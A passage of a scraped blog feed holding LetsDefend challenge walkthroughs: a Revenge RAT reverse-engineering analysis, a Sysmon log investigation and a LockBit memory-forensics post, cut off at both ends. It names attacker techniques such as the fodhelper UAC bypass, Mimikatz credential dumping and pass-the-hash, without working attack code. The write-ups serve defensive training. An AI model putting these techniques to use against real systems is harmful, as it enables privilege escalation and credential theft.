Exploit Misconfigured Apache Hadoop YARN: https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html\n","date":"2024-12-02T00:00:00Z","image":"/posts/letsdefend-bash-script-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png","permalink":"/posts/letsdefend-bash-script-challenge-walkthrough/","title":"LetsDefend — Bash Script Challenge Walkthrough"},{"content":"LetsDefend — Revenge RAT Challenge Walkthrough A Malware Reverse Engineering Challenge Using Detect-It-Easy, dnSpy, \u0026amp; Google Image Credit: https://letsdefend.io/\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog searching for a walkthrough of the Revenge RAT challenge from LetsDefend, you\u0026rsquo;re in the right place.\nIn this scenario, we\u0026rsquo;re going headfirst into the world of malware reverse engineering. An incident response team provided us with a Remote Access Trojan (RAT) malware sample used during an attack on a fictional organization. Our job is figure out what the malware was compiled with, how it\u0026rsquo;s configured, and what it does.\nTo analyze the sample logs, we\u0026rsquo;ll leverage dnSpy, a .NET debugger, and compare our analysis with some external research about the malware and its functions to give us comprehensive view of the attack. I\u0026rsquo;m still a newbie with my own reverse engineering skills, so we\u0026rsquo;ll have fun piecing this together. Let\u0026rsquo;s get into it!\nAnd hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please give it a clap!\nThanks for reading and going on this investigation with me!\nChallenge Link: https://app.letsdefend.io/challenge/log-analysis-with-sysmon\nChallenge Scenario: An attack on a company employed a Remote Access Trojan (RAT) disguised in seemingly harmless files. The RAT infiltrated the network and operated as fileless malware.\nDFIR analysts have extracted the malware. Now they need you to analyse the sample and uncover its secrets. By dissecting the binary, we can understand its behaviour, assess the damage, and devise a strategy to eradicate the threat, ensuring the organization\u0026rsquo;s security.\nQuestion 1: What compiler is used for this sample? All right, let\u0026rsquo;s kick off our investigation! The first thing we\u0026rsquo;ll do is extract the sample.7z from the ChallengeFile folder and reveal the sample file — f6b2c58f9846adcb295edd3c8a5beaec31fff3bc98f6503d04e95be3f9f072e8\nNext, it\u0026rsquo;s always a good idea to get familiar with what tools are available for use within the Tools folder. This is especially helpful for me since I\u0026rsquo;m still working to level-up my malware reverse engineering skills.\nNow that we have extracted the sample file and have gotten an overview of our tools, let\u0026rsquo;s start performing some analysis on the file.\nTo answer Question 1, we\u0026rsquo;ll first need to understand what type of file the sample is so that we can determine the best tool for analysis. To do this, let\u0026rsquo;s gather some information using Detect It Easy (DIE) which is a useful utility to identify the file type of a binary. We\u0026rsquo;ll launch this utility from the Tools folder, then point it to the sample file.\nOutput from Detect It Easy (DIE)\nOnce analyzed by DIE, we\u0026rsquo;ll see a few key details that answer Question 1. The sample binary is **.NET-**based and compiled with the Visual Basic (VB.NET) compiler.\nQuestion 2: What is the mutex name checked by the malware at the start of execution? All right, now we\u0026rsquo;re getting into the meat of the challenge.\nIn the previous question, we\u0026rsquo;ve determined that the malware is .NET based, so we should be able to use some of the .NET decompilers from the Tools folder. While I\u0026rsquo;ve used JetBrains dotPeek in the past, I want to expand my horizons and try out a new tool this time.\nOnly one problem, I\u0026rsquo;m not familiar with any of the other available tools. So, let\u0026rsquo;s back up and do some Google research. But instead of searching for .NET decompilers, why don\u0026rsquo;t we first see what research is available about the Revenge RAT? By doing this**,** I stumbled across an excellent blog from Perception Point containing some helpful information about the malware.\nRevenge RAT malware is back | Perception Point _In this blog post, we analyze the attack chain of a recent Revenge RAT malware campaign to better understand the\u0026hellip;_perception-point.io\nIt\u0026rsquo;s so helpful in fact, that we\u0026rsquo;ll refer to it throughout the walkthrough to corroborate our findings. But most importantly for this task, it gives us an idea of a tool that we can use to view the sample\u0026rsquo;s code — dnSpy.\nwe can open the executable in DnSpy and view the code. Surprisingly, this malware\u0026rsquo;s code is readable and not obfuscated.\nSounds like this will fit the bill, so let\u0026rsquo;s jump into the dnSpy. Once the sample is loaded, we can start with the analysis. Inside dnSpy we\u0026rsquo;ll immediately see something identical to Perception Point\u0026rsquo;s infographic — the executable name Client.exe with the Lime namespace below.\nLet\u0026rsquo;s expand the Program class node and check out the Main() method as a starting point. There are references to mutex in a couple of spots. It seems that once the malware creates the mutex, it pulls the name from the Config class**.** Let\u0026rsquo;s check this out by clicking on currentMutex.\nThis jumps us directly into the Config class which holds some interesting configuration strings including the name for the currentMutex. This should be the string that we need to answer Question 2!\nThe Config Class\nQuestion 3: What function was used to get information about the CPU? For Question 3, instead of stumbling through the code blindly, let\u0026rsquo;s refer back to the Perception Point research to get some direction. Their research states:\n[The first packet sent from the user\u0026rsquo;s computer to the C2 server contains lots of sensitive data related to the user\u0026rsquo;s computer. The data collected using a custom class presents the code named \u0026quot; # \u0026quot;\nIdGenerator\u0026quot; . Below are some of the methods the class uses to retrieve sensitive data:](https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/)\nNow that we have some idea of what to look for, let\u0026rsquo;s verify if we see the same result within our sample. Expand all the namespaces to locate the IdGenerator class beneath Lime.Helper.\nHere we\u0026rsquo;ll find several methods that appear to be collecting identifying data about the victim\u0026rsquo;s device — I\u0026rsquo;ll take a wild guess that GetCPU()is responsible for gathering information about the device\u0026rsquo;s CPU.\nAfter a quick review, we can confirm the answer for Question 3. We\u0026rsquo;ll see that this function collects CPU information from the device\u0026rsquo;s Windows registry.\nQuestion 4: What key was used during the \u0026quot; # \u0026quot; SendInfo\u0026quot; function?\nNow, let\u0026rsquo;s navigate to the SendInfo()method, also under Lime.Helper , and locate the references to the key variable. If we click it, we\u0026rsquo;ll be taken back to the Config class where we can see the string we\u0026rsquo;ll need to answer Question 4:\nQuestion 5: What API was used by the malware to prevent the system from going to sleep? From the previous questions, you may have already noticed another conveniently labeled class under Lime.Helper called PreventSleep. This sounds like exactly what we are looking for!\nOnce we click into the Run()method, we can see a call being made to the SetThreadExecutionStateAPI:\nTo confirm that this is correct, we\u0026rsquo;ll check the Microsoft Learn page for this function where it states:\nEnables an application to inform the system that it is in use, thereby preventing the system from entering sleep or turning off the display while the application is running.\nThere we go! Thanks to the convenient labeling and some external research, we\u0026rsquo;ve confirmed that we found the answer to Question 5.\nQuestion 6: What variable stores the volume name and the function that imported the \u0026quot; # \u0026quot; GetVolumeInformationA\u0026quot; api?\nTo answer Question 6, we\u0026rsquo;ll need to search for a specific variable that stores the volume name retrieved by the GetVolumeInformationA API.\nFor some context, let\u0026rsquo;s turn back to Microsoft Learn, where it\u0026rsquo;s documented that this function \u0026ldquo;Retrieves information about the file system and volume associated with the specified root directory_.\u0026rdquo;\nSo, to find this reference in the sample, let\u0026rsquo;s simply leverage dnSpy\u0026rsquo;s search function and use the keyword GetVolumeInformationA. The search leads us to Lime.NativeMethods \u0026gt; Native \u0026gt; GVI.\nWhile I\u0026rsquo;m no coding wizard, it appears that within the GVI method, the GetVolumeInformationA function is imported from kernel32.dll and called. Then, the volume data retrieved by this function is stored in the IP variable_._\nQuestion 7: What function was used to retrieve information about installed video capture drivers? For Question 7, we need to look for a function that collects information about the victim\u0026rsquo;s video capture (aka camera) drivers. For this, let\u0026rsquo;s circle back to the IdGenerator class under Lime.Helper where we found the answer to Question 3.\nGetCamera()\nThere we\u0026rsquo;ll find a GetCamera() method. While this seems like a good match based on the name, let\u0026rsquo;s double-verify this again with Microsoft Learn which states that:\nThe capGetDriverDescription function retrieves the version description of the capture driver.\nQuestion 8: What is the value of the ID after removing obfuscation? We\u0026rsquo;ve made it to the last question! To answer Question 8, we\u0026rsquo;ll jump back to the Config class where already found the answers to Questions 2 \u0026amp; 4, this time focusing on the id string.\nThe question tells us that the value is obfuscated (likely in Base64), so we\u0026rsquo;ll need to decode it to find the answer. To do this, we\u0026rsquo;ll use CyberChef from Tools folder to perform some operations on the string. Just paste the value into the input box and add \u0026quot; # \u0026ldquo;From Base64\u0026quot;to the recipe:\nEasily enough, we\u0026rsquo;ve decoded the string and have uncovered the answer to Question 8! Now let\u0026rsquo;s wrap up this analysis.\nConclusion: Mission accomplished! Using Detect-It-Easy, we figured out that the malware binary was compiled with VB.NET and then discovered some external research about the RAT from Perception Point to add some context to the investigation. Then, we brought the malware sample into dnSpy to uncover details about the information it collects about a victim\u0026rsquo;s system and how these functions work from Microsoft Learn. Now that we have scoped the attack and completed our objectives, let\u0026rsquo;s close out this walkthrough of the Revenge RAT!\nA big thank you to LetsDefend, for yet another engaging and challenging lab! I tend to stumble through reverse engineering challenges since I do not have a coding background and even the terms can be confusing! Even so, I always try to push myself to learn about new things outside of my comfort zone by tackling unfamiliar topics. Fortunately, the power of research helped me understand the bigger picture of the malware, allowing me to analyze it more confidently. Overall, this lab was a great learning opportunity, especially getting some hands-on time with dnSpy and expanding my toolset. Practice makes perfect, after all!\nThanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Wikipedia (Visual Basic (.NET)): https://en.wikipedia.org/wiki/Visual_Basic_(.NET)\ndnSpy: https://github.com/dnSpy/dnSpy\nPerception-Point: https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/\nMicrosoft Learn — SetThreadExecutionState: https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-setthreadexecutionstate\nMicrosoft Learn — GetVolumeInformationA: https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getvolumeinformationa\nMicrosoft Learn — capGetDriverDescriptionA: https://learn.microsoft.com/en-us/windows/win32/api/vfw/nf-vfw-capgetdriverdescriptiona\nCyberChef: https://gchq.github.io/CyberChef/\n","date":"2024-11-25T00:00:00Z","image":"/posts/letsdefend-revenge-rat-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png","permalink":"/posts/letsdefend-revenge-rat-challenge-walkthrough/","title":"LetsDefend — Revenge RAT Challenge Walkthrough"},{"content":"LetsDefend — Log Analysis with Sysmon Walkthrough An Endpoint Forensic Investigation with Sysmon, EvtxECmd, Timeline Explorer, and MITRE ATT\u0026amp;CK Image Credit: https://letsdefend.io/\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the Log Analysis with Sysmon challenge from LetsDefend, you\u0026rsquo;re in the right place. Prepare to dive into the world of digital forensics and incident response (DFIR).\nIn this scenario, a victim\u0026rsquo;s device has been compromised with malware, and we need to investigate what happened to contain the threat. Our objective is to analyze the Sysmon event logs to determine how the attacker gained initial access, escalated privileges, evaded the system\u0026rsquo;s defenses, and what tools they used to do it.\nSysmon is a utility that is part of the Microsoft Sysinternals suite. It runs as a system service and monitors detailed system activity, like process creation, file creation, and network connections, and logs it to the Windows Event Log. Sysmon also has its own event types that can be used to filter specific activity in the logs.\nTo analyze the Sysmon logs, we\u0026rsquo;ll leverage Eric Zimmerman\u0026rsquo;s EvtxECMD and Timeline Explorer. Then, we\u0026rsquo;ll map the adversary\u0026rsquo;s techniques and software to MITRE ATT\u0026amp;CK, a global knowledge base of adversary tactics and techniques, to gain a comprehensive view of the attack.\nSounds like fun, right? Let\u0026rsquo;s get into it!\nAnd hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please give it a clap!\nThanks for reading and going on this investigation with me!\nChallenge Link: https://app.letsdefend.io/challenge/log-analysis-with-sysmon\nChallenge Scenario: Our company has experienced a breach on one of its endpoints. Your task is to investigate the breach thoroughly by analyzing the Sysmon logs of the compromised endpoint to gather all necessary information regarding the attack.\nQuestion 1: Which file gave access to the attacker? Let\u0026rsquo;s kick off this challenge by extracting Sysmon_chall.zip. Inside of the archive, we\u0026rsquo;ll have two files: Sysmon.evtx and Sysmon.json.\nThe first file, Sysmon.evtx, is a Windows Event Log file that we can open and view in the Windows Event Viewer.\nThe second file, Sysmon.json, contains the same information as the first file, but in the JSON format so it can be imported into different data analytics tools for analysis.\nFor this investigation, we\u0026rsquo;ll start with Sysmon.evtx. Double-click it and it will open with the Windows Event Log Viewer as a saved log within our analysis environment.\nBut before we dive headfirst into the Event Logs, let\u0026rsquo;s back up a bit and get familiar with the Sysmon Events so we can analyze the logs more efficiently by filtering for the relevant event IDs. This is reference will be key to working through this investigation, so keep it handy:\nSysmon Events Reference:\nSysmon - Sysinternals _Monitors and reports key system activity via the Windows event log._learn.microsoft.com\nNow, armed with some background knowledge, let\u0026rsquo;s jump into the Event Viewer and start hunting for the malicious file that gave the attacker access to the victim\u0026rsquo;s device. To narrow down the scope of our logs, let\u0026rsquo;s filter by Event ID 1: Process Creation and then sort descending order to look at the earliest event first.\nReviewing the processes, we stumble on the above event referencing unusual executable, IDM.exe. To investigate this process further, let\u0026rsquo;s use the Find button and analyze the other events referring to this executable.\nTo analyze the hits, switch over to the Details tab view, and after a couple of results, we\u0026rsquo;ll notice that first IDM.exe spawns a Windows Command Shell (cmd.exe) and then in the following event, a very suspicious command line\u0026hellip;\nThese are enough red flags to determine that IDM.exe is the answer to Question 1. Let\u0026rsquo;s perform some further analysis on fodhelper.exe to better understand what the attacker is doing.\nQuestion 2: What did the attacker use to bypass UAC? Mention the EXE. Before we go too far, let\u0026rsquo;s give ourselves another option to analyze the Event Log. Sometimes, having a different view or method of analyzing data can be helpful to understand the relationships between processes.\nRather than manually searching the Event Viewer, we\u0026rsquo;re going to also parse the log using Eric Zimmerman\u0026rsquo;s EvtxECmd, export it to a CSV, then sort the results using another of his utilities, Timeline Explorer. This will allow us to search and filter the data more efficiently than manually browsing the Event Viewer.\nHandily, both of the Eric Zimmerman utilities are already installed on the LetsDefend environment, so we simply need to open the Command Prompt as Administrator to launch the utility with the following syntax specifying the .evtx file and an output directory:\nEvtxECmd.exe -f \u0026ldquo;C:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\Sysmon.evtx\u0026rdquo; \u0026ndash;csv YOUR-OUTPUT-DIRECTORY\nOnce the output file is created, open it with Timeline Explorer. To start, we\u0026rsquo;ll replicate the method we used in Question 1 and filter by the ParentCommandLine (Payload Data6) column for IDM.exe:\nThis is a cleaner view of the information we found in the previous question, isn\u0026rsquo;t it?\nNow, let\u0026rsquo;s take to Google for research to understand what fodhelper.exe is and if it can be used in an attack. For example, check out the research from Atomic Red Team about user account control (UAC) bypass techniques (MITRE ATT\u0026amp;CK — T1548.002) to see what we can discover.\nFrom the research, we\u0026rsquo;ll see a couple of documented techniques abusing the Features on Demand Helper (fodhelper.exe) to bypass the UAC prompt. These techniques allow a threat actor to abuse the legitimate binary to execute a process as a privileged administrator without the user account control dialogue.\nAtomic Test #3 — Bypass UAC using Fodhelper\nBypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution, \u0026quot; # \u0026quot;\nThe operation completed successfully.\u0026quot; will be shown twice and command prompt will be opened.\nAtomic Test #4 — Bypass UAC using Fodhelper — PowerShell\nPowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution command prompt will be opened.\nSince we have discovered a documented method of abusing the fodhelper binary to bypass UAC that is also present on the infected device, we\u0026rsquo;ve found the answer to Question 2!\nQuestion 3: What registry path and value was used by the above EXE to gain higher privileges? (path\\value) Let\u0026rsquo;s continue to build off the research that we found in the Atomic Red Team report and look at the listed commands used to exploit fodhelper.exe.\nThe techniques involve some registry modification. With that in mind, let\u0026rsquo;s filter the CSV file in Timeline Explorer by Event ID 13: RegistryEvent (Value Set) and then filter by IDM.exe.\nFilter Event Id 13\nFilter Payload Data3 by IDM.exe\nIf you\u0026rsquo;re more comfortable in the Event Viewer, here is the same event that we located in Timeline Explorer:\nPulling back to a high-level overview, let\u0026rsquo;s simply search Timeline Explorer for fodhelper.exe. This not only gives us a better view of the sequence of events and relationships between the processes but also to see the Registry Key accessed by fodhelper.exe.\nBecause the This Registry location matches the location documented in the Atomic Red Team report, we can confidently say that we found the answer to Question 3!\nhttps://www.atomicredteam.io/atomic-red-team/atomics/T1548.002#atomic-test-4\u0026mdash;bypass-uac-using-fodhelper\u0026mdash;powershell\nQuestion 4: The attacker dropped a file. What is the file location? Okay, let\u0026rsquo;s continue investigating within Timeline Explorer, this time, filtering on Event ID 11: File Create. According to the Sysmon documentation, this event captures file creation events and is \u0026quot; # \u0026ldquo;useful for monitoring autostart locations, like the Startup folder, as well as temporary and download directories, which are common places malware drops during initial infection.\u0026ldquo;Once we have the Event ID filter, scroll over to the RuleName column and type Downloads. Applying these two options will show us the audited file creation events and filter on the term downloads, including the downloads directory.\nRight away, we see a red flag — mimikatz.exe. If you aren\u0026rsquo;t familiar with Mimikatz, here is a quick summary from the MITRE ATT\u0026amp;CK knowledge base:\n[\u0026rdquo; # \u0026quot;\nMimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.](https://attack.mitre.org/software/S0002/)\"\nLet\u0026rsquo;s submit the flag and learn more about what techniques Mimikatz uses.\nQuestion 5: What are the technique name and ID used by the dropped EXE? To answer Question 5, we need to first answer the question: What is Mimikatz used for? In the previous question, I linked the description from MITRE ATT\u0026amp;CK, but let\u0026rsquo;s focus on one detail: Mimikatz is a credential dumper.\nThis description of the tool gives us the answer — the most applicable MITRE ATT\u0026amp;CK technique is Credential Dumping (MITRE ATT\u0026amp;CK — T1003.)\nOS Credential Dumping _Active Directory Active Directory Object Access Monitor domain controller logs for replication requests and other\u0026hellip;_attack.mitre.org\nQuestion 6: What is the name of the attack? We\u0026rsquo;ve already determined that Mimikatz is a credential dumper, but to answer Question 6, we need to figure out what the adversary did with the stolen credentials. Let\u0026rsquo;s jump back to the Mimikatz software page on MITRE ATT\u0026amp;CK to learn more about any techniques associated with it.\nMimikatz _Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many\u0026hellip;_attack.mitre.org\nWe\u0026rsquo;ll focus on the Techniques Used section of the software page. Mimikatz has lots of listed capabilities but there is one it is infamous for facilitating. We can cheese this a little bit by looking at the answer format to narrow down the results, too.\nPass the Hash! This is a technique where an attacker can access and dump credential data, like NLTM hashes, from the Local Security Authority Subsystem Service (LSASS) process in Windows and then \u0026quot; # \u0026quot;\npass\u0026rdquo; the stolen hash instead of providing the password to authenticate as that user. This way, it\u0026rsquo;s possible to elevate privileges or move laterally through the target environment.\nQuestion 7: What EXE did the attacker run using elevated privileges from the above attack? Now back to Timeline Explorer! We\u0026rsquo;ll approach Question 7 by searching for Mimikatz to determine if it spawned any child processes, potentially using the Pass the Hash technique to elevate privileges of the child process.\nOnce we enter \u0026quot; # \u0026ldquo;mimikatz\u0026quot;into the search, we\u0026rsquo;ll stumble on something interesting — mimikatz.exe has spawned a powershell.exe process. Let\u0026rsquo;s examine the payload contents:\nTimeline Explorer View\nEvent Viewer View\nNotice the IntegrityLevel with the value of High? Because mimikatz.exe (PID 4988) is the parent process, this tells us that PowerShell was executed with elevated, administrative level privileges — We\u0026rsquo;ve found the answer to Question 6!\nQuestion 8: The attacker downloaded and ran a file. What is the filename? Okay, we\u0026rsquo;ve made it to the last question! Let\u0026rsquo;s hunt for the next file the attacker downloaded. For this, we\u0026rsquo;ll set up the same filters that we did for Question 4 — filtering on Event ID 11: File Create and entering Downloads in the RuleName column.\nRight below the mimikatz.exe that we found earlier, we\u0026rsquo;ll see evidence of second executable that\u0026rsquo;s created:\n012e382049b88808e2d0b26e016dc189f608deea9b6cc993ce24a57c99dd93d1.exe\nThis seems promising. Now, we need to determine if the attacker ran it to confirm that we have found the correct answer. To do this, let\u0026rsquo;s filter the Event ID column by Event ID 1 (Process Creation) in and then search for:\n012e382049b88808e2d0b26e016dc189f608deea9b6cc993ce24a57c99dd93d1.exe\nWith the filtering in place, we can confirm that the attacker leveraged PowerShell to download this second stage payload and used the Start-Process cmdlet to execute it_._ Great job! Let\u0026rsquo;s submit the flag and wrap up this investigation!\nConclusion: There we have it! Using the Sysmon logs, we\u0026rsquo;ve successfully identified the binaries used for initial access, defense evasion, credential access, privilege escalation, and the second-stage malware. During the investigation, we turned to MITRE ATT\u0026amp;CK to reveal more details about each of these techniques to better understand how the adversary was attacking the victim\u0026rsquo;s device. Now that we have scoped the attack and completed our objectives let\u0026rsquo;s close out this walkthrough of the Log Analysis with Sysmon!\nA big thank you to LetsDefend, for another engaging and challenging lab scenario. This was a really fun challenge for me as I\u0026rsquo;ve never had the opportunity to leverage Sysmon in an investigation despite testing and deploying it fairly often. I chose this one to get some reps in with the logging it provides so that when I need it in the real world, I\u0026rsquo;ll have that practice. I also really appreciated that this investigation required some use of MITRE ATT\u0026amp;CK to add context to the answers; in addition to being needed to answer one of the questions. Personally, thinking in terms of TTPs helps me organize my thoughts during an investigation, so this was also really good practice. Awesome stuff!\nThanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Sysmon: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon\nMicrosoft Sysinternals: https://learn.microsoft.com/en-us/sysinternals/\nEric Zimmerman\u0026rsquo;s Tools (EvtxECMD \u0026amp; Timeline Explorer): https://ericzimmerman.github.io/#!index.md\nSysmon Events Reference: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#events\nAtomic Red Team — T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control: https://www.atomicredteam.io/atomic-red-team/atomics/T1548.002#atomic-test-4\u0026mdash;bypass-uac-using-fodhelper\u0026mdash;powershell\nMITRE ATT\u0026amp;CK — Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): https://attack.mitre.org/techniques/T1548/002/\nMITRE ATT\u0026amp;CK — Mimikatz (S0002): https://attack.mitre.org/software/S0002/\nMITRE ATT\u0026amp;CK — OS Credential Dumping (T1003): https://attack.mitre.org/techniques/T1003/\nMITRE ATT\u0026amp;CK — Use Alternate Authentication Material: Pass the Hash (T1550.002): https://attack.mitre.org/techniques/T1550/002/\n","date":"2024-11-18T00:00:00Z","image":"/posts/letsdefend-log-analysis-with-sysmon-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png","permalink":"/posts/letsdefend-log-analysis-with-sysmon-walkthrough/","title":"LetsDefend — Log Analysis with Sysmon Walkthrough"},{"content":"LetsDefend — LockBit Challenge Walkthrough A Memory Forensic Investigation with Volatility3, Volatility2, and VirusTotal Image Credit: https://letsdefend.io/\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the LockBit Challenge from LetsDefend, you\u0026rsquo;re in the right place. Prepare to be thrown right into the world of digital forensics and incident response (DFIR).\nA victim\u0026rsquo;s device has been compromised with ransomware and all their files have been encrypted — now the attacker is demanding payment! Our objective is to dissect a memory dump of the infected device, provide an analysis of the attack, and understand our options. To accomplish this mission, we\u0026rsquo;ll leverage Volatility3, Volatility2, and VirusTotal to hunt for the malware process, determine what ransomware family it\u0026rsquo;s part of, scour VirusTotal to detail its behavior, and uncover how the malware elevates privileges and stays persistent on the system.\nSounds like fun, right? Let\u0026rsquo;s get into it!\nAnd hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please give it a clap!\nThanks for reading and going on this investigation with me!\nChallenge Link: https://app.letsdefend.io/challenge/lockbit\nChallenge Scenario: You are a Digital Forensics and Incident Response (DFIR) analyst tasked with investigating a ransomware attack that has affected a company\u0026rsquo;s system. The attack has resulted in file encryption, and the attackers are demanding payment for the decryption of the affected files. You have been given a memory dump of the affected system to analyze and provide answers to specific questions related to the attack.\nQuestion 1: Can you determine the date and time that the device was infected with the malware? (UTC, format: YYYY-MM-DD hh:mm:ss) Let\u0026rsquo;s kick off this investigation by extracting the ChallengeFile containing the memory dump of the victim\u0026rsquo;s system, Lockbit.vmem.\nTo analyze the contents of this file we\u0026rsquo;ll use Volatility, a popular memory forensics tool. There are a couple of versions of Volatility: Volatility 2.6 (the original, no longer in active development) and the latest, Volatility3 (in active development.) They are a little different but for this challenge, we\u0026rsquo;ll start with Volatility3 but (spoilers) we will also have to use Volatility2 to solve Question 4. Don\u0026rsquo;t worry, I\u0026rsquo;ll note which version to use since the commands will change, too.\nFinally, before we dive into Volatility3, let\u0026rsquo;s get familiar with the command to show the Volatility3 manual pages. This is handy way to see what plugins are available for use:\nvol -h\nNow, let\u0026rsquo;s get started hunting for the malware process. To identify the malicious process, the first step is to understand what processes were running on the victim\u0026rsquo;s system during the incident when the dump was taken. We\u0026rsquo;ll accomplish this by leveraging Volatility\u0026rsquo;s [windows.pslist](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#pslist) plugin to scan the image and list the running processes on the system using the syntax below:\nvol -f Lockbit.vmem windows.pslist\nLet\u0026rsquo;s go out on a limb and assume that the obvious one called mal.exe is the process we are looking for. From there, we just need to grab the timestamp from the CreateTime column to determine when the device was infected.\nQuestion 2: What is the name of the ransomware family responsible for the attack? To identify the ransomware family, we first need to obtain the file hash of the malware\u0026rsquo;s executable by first extracting the process from the memory dump. We can do this by using Volatility3\u0026rsquo;s [windows.dumpfiles](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#dumpfiles) plugin to dump file contents from the image. Use the syntax below, specifying an output directory for the dump, and the process ID (PID) of the mal.exe process we found in Question 1.\nvol -f Lockbit.vmem -o windows.dumpfiles \u0026ndash;pid 900\nThis will give us two separate output files: a .dat and a .img. I\u0026rsquo;ll put the results for both below, but for this example let\u0026rsquo;s run a SHA256 hash calculation on the extracted .img file right from the terminal. Then, we\u0026rsquo;ll submit the hashes to VirusTotal to check if there are any hits.\nsha256sum file.0xfa801bfe5320.0xfa801c116990.ImageSectionObject.mal.exe.img\nIMG File — VirusTotal Report: https://www.virustotal.com/gui/file/5988e75518b2f365671dc49da18b5a70274351721f1f3a8f8f7bf32984e4024c\nsha256sum file.0xfa801bfe5320.0xfa801bde2b10.DataSectionObject.mal.exe.dat\nDAT File — VirusTotal Report: https://www.virustotal.com/gui/file/cea3e8a3e541ae4c928c3cd33f6772f1a69746393ac1a5c4575379a09a92d1e1\nAfter receiving the report for the .img file, the sample has previously been analyzed by VirusTotal and is detected as malicious by most scanning engines on the platform. What we are most interested in is the Family labels tag where we\u0026rsquo;ll see that the malware is part of the Lockbit ransomware family.\nQuestion 3: What file extension is appended to the encrypted files by the ransomware? Let\u0026rsquo;s continue using the VirusTotal report to see what else we can learn about the malware_._ The next stop is to check the Behavior \u0026gt; File System Action tab.\nIn this area, we can check the Files Written by the malware to determine what extension it\u0026rsquo;s adding to the files it encrypts. For this sample, we can see that the ransomware appends the .lockbit extension to the encrypted files:\nTo confirm we see the same behavior, let\u0026rsquo;s jump back into Volatility3 and search the victim\u0026rsquo;s image for anything similar with the [windows.filescan](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#filescan) plugin which can search for file objects. To make this easier, we can _grep\u0026quot;.lockbit\u0026quot;to narrow down the results.\nvol -f Lockbit.vmem windows.filescan | grep -i \u0026ldquo;.lockbit\u0026rdquo;\nWhile this is just a small sampling of the files with this extension, it\u0026rsquo;s enough to confirm that we have found the correct answer to Question 3!\nQuestion 4: What is the TLSH (Trend Micro Locality Sensitive Hash) of the ransomware? To answer Question 4, we need to find the Trend Micro Locality Sensitive Hash (TLSH) of the ransomware binary. TLSH is not a term I\u0026rsquo;m familiar with, so let\u0026rsquo;s do some Google research. We\u0026rsquo;ll find that according to Trend Micro, a TLSH is:\na kind of fuzzy hashing that can be employed in machine learning extensions of whitelisting. TLSH can generate hash values which can then be analyzed for similarities. TLSH helps determine if the file is safe to be run on the system based on its similarity to known, legitimate files.\nPut another way a TLSH can be used to detect similarities between objects in data even if the content is not identical. So similar pieces of malware would have similar a TLSH. But how do we determine the TLSH of the .img file we submitted to VirusTotal?\nHandily_, VirusTotal_ already calculates the TLSH upon submission so we can simply refer back to the Details \u0026gt; Basic Properties tab on the VirusTotal report. Easy enough!\nOr so I thought\u0026hellip;\nWe\u0026rsquo;ve run into a problem: the TLSH reported from the two files (.img \u0026amp; .dat) that we dumped in Question 2 do not work to solve the question.\nFor some hindsight: Next, I tried dumping the process by using the [windows.memmap](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#memdump) and [windows.dlllist](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#dlllist) plugins, and while I got some different SHA256 hashes to submit, none matched what the question was looking for. So, after stumbling around researching on Google, I finally found the following issue on the Volatility3 GitHub with this comment:\nprocdump produced files have different checksums from volatility 2 · Issue #160 ·\u0026hellip; _It differs when you view the hash value of the same file. Is the procdump of ver 2 and 3 different? in this page\u0026rsquo;s\u0026hellip;_github.com\nThis is because the volatility3 procdump plugin currently outputs files as if they had been dumped by volatility2 with --memory (ie, it\u0026rsquo;s dumping the memory image, not the reconstructed PE file)\nAh-ha! Since there are differences in how the process dump works between the two versions of Volatility. Let\u0026rsquo;s switch to Volatility2, dump the process again, and compare the output.\nIn Volatility2, we first must determine what OS image profile is needed — notice that we are using vol.py now on the analysis environment to launch Volatility2.\nvol.py -f Lockbit.vmem imageinfo\nOnce we find the correct profile, let\u0026rsquo;s try dumping the mal.exe process again using the [procdump](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#procdump) plugin:\nvol.py -f Lockbit.vmem \u0026ndash;profile=Win7SP1x64 procdump \u0026ndash;pid=900 \u0026ndash;dump-dir=YOUR-OUTPUT-DIRECTORY\nThis time, Volatility2 dumps one reconstructed binary instead of the two separate .img and .dat files. Let\u0026rsquo;s 